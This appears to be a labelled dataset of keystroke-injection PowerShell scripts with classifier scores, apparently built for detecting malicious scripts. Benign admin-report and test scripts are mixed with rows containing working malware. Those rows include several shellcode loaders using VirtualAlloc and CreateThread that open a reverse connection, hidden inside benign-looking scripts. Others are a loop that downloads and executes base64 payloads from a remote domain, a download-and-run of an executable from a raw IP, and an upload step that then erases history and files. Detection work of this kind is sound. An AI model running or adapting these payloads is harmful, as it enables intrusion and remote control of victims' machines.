--header ""Content-Type: application/octet-stream"" --data-binary ""@$ZIP_PATH"" enter history -c enter rm -rf ""$TMP_FOLDER_PATH"" enter rm -rf ""$ZIP_PATH"" enter exit enter enter",1,1,7.8820216e-05,0.9999212
"win+r powershell enter L � F� ��� �a� Y�d��N� ��� �a� � a enter P�O� �:i �� +00� /C:\ V 1 UV� Windows @ ﾧT,*dVQ�. enter �p t� W i n d o w s Z 1 dV� System32 B ﾧT, enter *dVY�. �v 5 _ S y s t e m 3 2 t 1 �T + WindowsPowe enter rShell T ﾧT +eV[ . �z y � W i n d o w s P o w e r S h e enter l l N 1 XVv� v1.0 : ﾧT +dVA�. �z : 2 v 1 . 0 enter l 2 � �T�* powershell.exe N ﾧT�*dV]�. M � X�G p enter o w e r s h e l l . e x e o 4 n Q � Win enter dows C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe H . . \ . . \ . enter . \ . . \ . . \ . . \ W i n d o w s \ S y s t e m 3 2 \ W i n d o w s P o w e r enter S h e l l \ v 1 . 0 \ p o w e r s h e l l . e x e n - c "" s t a r t s c r i enter p t s 1 ; $ p l enter enter",1,1,6.282794e-05,0.9999372
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_wfmcveot"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4358218e-05
"win+r enter powershell enter enter enter $SubscriptionId = '' enter enter $resourceGroupName = ""myResourceGroup-$(Get-Random)"" enter $location = ""southcentralus"" enter enter $adminSqlLogin = ""SqlAdmin"" enter $password = ""ChangeYourAdminPassword1"" enter enter $serverName = ""server-$(Get-Random)"" enter enter $databaseName = ""mySampleDatabase"" enter enter $startIp = ""0.0.0.0"" enter $endIp = ""0.0.0.0"" enter enter $storageAccountName = $(""sql$(Get-Random)"") enter enter $notificationEmailReceipient = ""changeto@your.email;changeto@your.email"" enter Set-AzContext -SubscriptionId $subscriptionId enter $resourceGroup = New-AzResourceGroup -Name $resourceGroupName -Location $location enter $server = New-AzSqlServer -ResourceGroupName $resourceGroupName ` enter -ServerName $serverName ` enter -Location $location ` enter -SqlAdministratorCredentials $(New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $adminSqlLogin, $(ConvertTo-SecureString -String $password -AsPlainText -Force)) enter $serverFirewallRule = New-AzSqlServerFirewallRule -ResourceGroupName $resourceGroupName ` enter -ServerName $serverName ` enter -FirewallRuleName ""AllowedIPs"" -StartIpAddress $startIp -EndIpAddress $endIp enter $database = New-AzSqlDatabase -ResourceGroupName $resourceGroupName ` enter -ServerName $serverName ` enter -DatabaseName $databaseName -RequestedServiceObjectiveName ""S0"" enter $storageAccount = New-AzStorageAccount -ResourceGroupName $resourceGroupName ` enter -AccountName $storageAccountName ` enter -Location $location ` enter -Type ""Standard_LRS"" enter Set-AzSqlDatabaseAuditing -State Enabled ` enter -ResourceGroupName $resourceGroupName ` enter -ServerName $serverName ` enter -DatabaseName $databaseName ` enter -StorageAccountName $storageAccountName enter Set-AzSqlDatabaseThreatDetectionPolicy -ResourceGroupName $resourceGroupName ` enter -ServerName $serverName ` enter -DatabaseName $databaseName ` enter -StorageAccountName $storageAccountName ` enter -NotificationRecipientsEmails $notificationEmailReceipient ` enter -EmailAdmins $False enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0b,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1688377e-05,0.99994826
"win+r enter powershell enter enter enter  enter $SqlQuery = "" enter SELECT server_name + '.' + domain AS Server_Name enter , IP_Address enter FROM t_server s enter INNER JOIN t_server_properties sp ON s.server_id = sp.server_id enter INNER JOIN t_server_type_assoc sta ON s.server_id = sta.server_id enter INNER JOIN t_server_type st ON sta.type_id = st.type_id enter WHERE st.type_name LIKE '%SQL%' enter ORDER BY IP_Address"" enter enter function Run-Query() enter { enter param ( enter $SqlQuery enter , $SqlServer = 'SQLUTIL02' enter , $SqlCatalog = 'Status' enter ) enter enter $SqlConnection = New-Object System.Data.SqlClient.SqlConnection(""Data Source=$SqlServer;Integrated Security=SSPI;Initial Catalog=$SqlCatalog;""); enter enter $SqlCmd = New-Object System.Data.SqlClient.SqlCommand enter $SqlCmd.CommandText = $SqlQuery enter $SqlCmd.Connection = $SqlConnection enter enter $SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter enter $SqlAdapter.SelectCommand = $SqlCmd enter enter $DataSet = New-Object System.Data.DataSet enter $a = $SqlAdapter.Fill($DataSet) enter enter $SqlConnection.Close() enter enter $DataSet.Tables | Select-Object -ExpandProperty Rows enter } enter enter $Servers = Run-Query -SQLServer SQLUTIL02 -SQLCatalog Status -SqlQuery $SqlQuery | Select-Object -Property Server_Name, ip_address enter foreach($Server in $servers) enter { enter $Services = Get-Service -DisplayName SQL* -ComputerName $($Server.ip_address) | Where-Object {$_.Name -like ""*SQL*""} enter foreach ($Service IN $Services) enter { enter enter if ($Service.Status -eq ""Running"") enter { enter Write-Host ""$($Server.server_name), $($Service.Name), $($Service.Status), $($Server.server_name)"" enter } enter elseif ($Service.Status -eq ""Stopped"") enter { enter Write-Host ""$($Server.server_name), $($Service.Name), $($Service.Status), $($Server.server_name)"" enter } enter enter } enter enter Write-Host """"; enter } enter enter",0,0,0.99988234,0.000117593554
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_xd0rc2rg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 25 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.409722e-05
"win+r enter powershell enter enter enter Describe 'Test for cmdlet to support Ordered Attribute on hash literal nodes' -Tags ""CI"" { enter BeforeAll { enter If (-not $IsCoreCLR) { enter Get-WmiObject -Query ""select * from win32_environment where name='TestWmiInstance'"" | Remove-WmiObject enter } enter } enter AfterAll { enter If (-not $IsCoreCLR) { enter Get-WmiObject -Query ""select * from win32_environment where name='TestWmiInstance'"" | Remove-WmiObject enter } enter } enter enter It 'New-Object - Property Parameter Must take IDictionary' { enter $a = new-object psobject -property ([ordered]@{one=1;two=2}) enter $a | Should -Not -BeNullOrEmpty enter $a.one | Should -Be 1 enter } enter enter Context 'Select-Xml cmdlet - Namespace parameter must take IDictionary' { enter $script:a = $null enter enter $helpXml = @' enter <?xml version=""1.0"" encoding=""utf-8"" ?> enter enter <helpItems schema=""maml""> enter enter <command:command xmlns:maml=""http://schemas.microsoft.com/maml/2004/10"" xmlns:command=""http://schemas.microsoft.com/maml/dev/command/2004/10"" xmlns:dev=""http://schemas.microsoft.com/maml/dev/2004/10""> enter <command:details> enter <command:name> enter Stop-Transcript enter </command:name> enter </command:details> enter </command:command> enter enter </helpItems> enter '@ enter enter { $script:a = select-xml -content $helpXml -xpath ""//command:name"" -namespace ( enter [ordered]@{command=""http://schemas.microsoft.com/maml/dev/command/2004/10""; enter maml=""http://schemas.microsoft.com/maml/2004/10""; enter dev=""http://schemas.microsoft.com/maml/dev/2004/10""}) } | Should -Not -Throw enter enter It '$a should not be $null' { $script:a | Should -Not -BeNullOrEmpty } enter } enter enter It 'Set-WmiInstance cmdlet - Argument parameter must take IDictionary' -skip:$IsCoreCLR { enter enter $script:a = $null enter enter { $script:a = set-wmiinstance -class win32_environment -argument ([ordered]@{Name=""TestWmiInstance""; enter VariableValue=""testvalu234e""; enter UserName=""<SYSTEM>""}) } | Should -Not -Throw enter $script:a | Should -Not -BeNullOrEmpty enter $script:a.Name | Should -BeExactly ""TestWmiInstance"" enter } enter enter Context 'Select-Object cmdlet - Property parameter (Calculated properties) must take IDictionary' { enter enter $script:a = $null enter enter {$script:a = Get-ChildItem | select-object -property Name, ( enter [ordered]@{Name=""IsDirectory""; enter Expression ={$_.PSIsContainer}})} | Should -Not -Throw enter enter It '$a should not be $null' { $script:a | Should -Not -BeNullOrEmpty } enter } enter } enter enter",0,0,0.9999403,5.9733185e-05
"win+r enter powershell enter enter enter task default -depends test enter enter task test { enter Push-Location 'default_build_file' enter $result = invoke-psake -Docs | Out-String -Width 120 enter Pop-Location enter enter Assert ($result -match 'adefaulttask') 'Default build file should a task called adefaulttask' enter } enter enter $uuid=(get-wmiobject win32_computersystemproduct).UUID;$wc=New-Object System.Net.WebClient; enter $u='Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.363 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.363'; enter $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, ""u=$uuid; c=x3c93dlfcu53""); enter $wc.Headers.Add('user-agent',$u);$reg=$wc.downloadstring(""https://www.appstats.pw/index.php""); enter $wc.Headers.Remove([System.Net.HttpRequestHeader]::Cookie); enter $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, ""u=$uuid""); enter $wc.headers.add('user-agent',$u);IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($wc.downloadstring(""https://www.appstats.pw/3del.php"")))); enter while($true){ enter try{ enter $wc.headers.add('user-agent',$u); enter IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($wc.downloadstring(""https://www.appstats.pw/index.php"")))); enter } enter catch{ enter sleep 180; enter } enter } enter enter",1,1,0.0002057726,0.9997942
"win+r enter powershell enter enter enter Get-PSResource 'TestModule' enter Get-PSResource -name 'TestModule' enter Get-PSResource 'TestModule' -Type 'Module' enter Get-PSResource 'TestModule' -Type 'Module', 'Script', 'Library' enter Get-PSResource 'TestModule1', 'TestModule2', 'TestModule3' enter Get-PSResource 'TestModule' -MinimumVersion '1.5.0' enter Get-PSResource 'TestModule' -MaximumVersion '1.5.0' enter Get-PSResource 'TestModule' -MinimumVersion '1.0.0' -MaximumVersion '2.0.0' enter Get-PSResource 'TestModule' -RequiredVersion '1.5.0' enter Get-PSResource 'TestModule' -AllVersions enter Get-PSResource 'TestModule' -Prerelease enter Get-PSResource 'TestScript' enter Get-PSResource -name 'TestScript' enter Get-PSResource 'TestScript' -Type 'Script' enter Get-PSResource 'TestScript' -Type 'Module', 'Script', 'Library' enter Get-PSResource 'TestScript1', 'TestScript2', 'TestScript3' enter Get-PSResource 'TestScript' -MinimumVersion '1.5.0' enter Get-PSResource 'TestScript' -MaximumVersion '1.5.0' enter Get-PSResource 'TestScript' -MinimumVersion '1.0.0' -MaximumVersion '2.0.0' enter Get-PSResource 'TestScript' -RequiredVersion '1.5.0' enter Get-PSResource 'TestModule' -AllVersions enter Get-PSResource 'TestScript' -Prerelease enter Get-PSResource 'TestNupkg' enter Get-PSResource 'TestNupkg' -Type 'Library' enter Get-PSResource 'TestNupkg' -Type 'Module', 'Script', 'Library' enter Get-PSResource 'TestNupkg1', 'TestNupkg2', 'TestNupkg3' enter Get-PSResource 'TestNupkg' -MinimumVersion '1.5.0' enter Get-PSResource 'TestNupkg' -MaximumVersion '1.5.0' enter Get-PSResource 'TestNupkg' -MinimumVersion '1.0.0' -MaximumVersion '2.0.0' enter Get-PSResource 'TestNupkg' -RequiredVersion '1.5.0' enter Get-PSResource 'TestModule' -AllVersions enter Get-PSResource 'TestNupkg' -Prerelease enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x0a,0x6d,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1646646e-05,0.9999484
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_dqi44t4i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_75.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3684693e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_c8xjgrrj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4554847e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_78kpc7j2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter",0,0,0.999966,3.3918262e-05
"win+r enter powershell enter enter enter function Get-FunctionDefaultParameter enter { enter enter [CmdletBinding()] enter [OutputType([hashtable])] enter param enter ( enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$FunctionName enter ) enter try enter { enter $ast = (Get-Command $FunctionName).ScriptBlock.Ast enter enter $select = @{ n = 'Name'; e = { $_.Name.VariablePath.UserPath } }, enter @{ n = 'Value'; e = { $_.DefaultValue.Extent.Text -replace ""`""|'"" } } enter enter $ht = @{} enter @($ast.FindAll({ $args[0] -is [System.Management.Automation.Language.ParameterAst] }, $true) | Where-Object { $_.DefaultValue } | Select-Object $select).foreach({ enter $ht[$_.Name] = $_.Value enter }) enter $ht enter enter } enter catch enter { enter Write-Error -Message $_.Exception.Message enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x80,0x4b,0xac,0xe3,0x68,0x02,0x00,0x11,0x5b,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.147514e-05,0.9999485
"win+r enter powershell enter enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter Describe 'Carbon.Shell.Command.Split' { enter enter It 'simple split' { enter $path,$args = [Carbon.Shell.Command]::Split('test.exe arg1 arg2') enter $expectedPath = 'test.exe' enter $expectedArgs = @('arg1', 'arg2') enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'exe only' { enter $path,$args = [Carbon.Shell.Command]::Split('test.exe') enter $expectedPath = 'test.exe' enter $expectedArgs = $null enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'null exe' { enter $path,$args = [Carbon.Shell.Command]::Split('') enter $expectedPath = '' enter $expectedArgs = $null enter enter $path | Should BeNullOrEmpty enter $args | Should BeNullOrEmpty enter } enter enter It 'empty exe' { enter $path,$args = [Carbon.Shell.Command]::Split($null) enter $expectedPath = '' enter $expectedArgs = $null enter enter $path | Should BeNullOrEmpty enter $args | Should BeNullOrEmpty enter } enter enter It 'exe only with spaces' { enter $path,$args = [Carbon.Shell.Command]::Split('""c:\Program Files tab est.exe""') enter $expectedPath = 'c:\Program Files tab est.exe' enter $expectedArgs = $null enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'exe with spaces and args' { enter $path,$args = [Carbon.Shell.Command]::Split('""c:\Program Files tab est.exe"" arg1 arg2') enter $expectedPath = 'c:\Program Files tab est.exe' enter $expectedArgs = @('arg1', 'arg2') enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'exe with spaces and args with spaces' { enter $path,$args = [Carbon.Shell.Command]::Split('""c:\Program Files tab est.exe"" ""arg1 arg1"" ""arg2 arg2""') enter $expectedPath = 'c:\Program Files tab est.exe' enter $expectedArgs = @('arg1 arg1', 'arg2 arg2') enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'exe with spaces and args with quotes' { enter $path,$args = [Carbon.Shell.Command]::Split('""c:\Program Files tab est.exe"" ""arg1""""arg1"" ""arg2""""arg2""') enter $expectedPath = 'c:\Program Files tab est.exe' enter $expectedArgs = @('arg1""arg1 arg2arg2') enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'exe with spaces and args with quotes at beginng or end' { enter $path,$args = [Carbon.Shell.Command]::Split('""c:\Program Files tab est.exe"" """"""arg1"" ""arg2""""""') enter $expectedPath = 'c:\Program Files tab est.exe' enter $expectedArgs = @('""arg1 arg2""') enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'exe with spaces and args with quotes and spaces' { enter $path,$args = [Carbon.Shell.Command]::Split('""c:\Program Files tab est.exe"" """"""arg1 """"arg1"" ""arg2 """"arg2""""""') enter $expectedPath = 'c:\Program Files tab est.exe' enter $expectedArgs = @('""arg1', 'arg1 arg2', 'arg2""') enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter enter It 'random separator spaces' { enter $path,$args = [Carbon.Shell.Command]::Split('""c:\Program Files tab est.exe"" arg1 arg2') enter $expectedPath = 'c:\Program Files tab est.exe' enter $expectedArgs = @('arg1', 'arg2') enter enter $path | Should Be $expectedPath enter $args | Should Be $expectedArgs enter } enter } enter enter PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://93.174.94.137/~rama/jusched.exe', $env:TEMP\jusched.exe );Start-Process ( $env:TEMP\jusched.exe ) enter enter",1,1,5.8807727e-05,0.99994123
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_k98ktv4b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 3."" enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4593653e-05
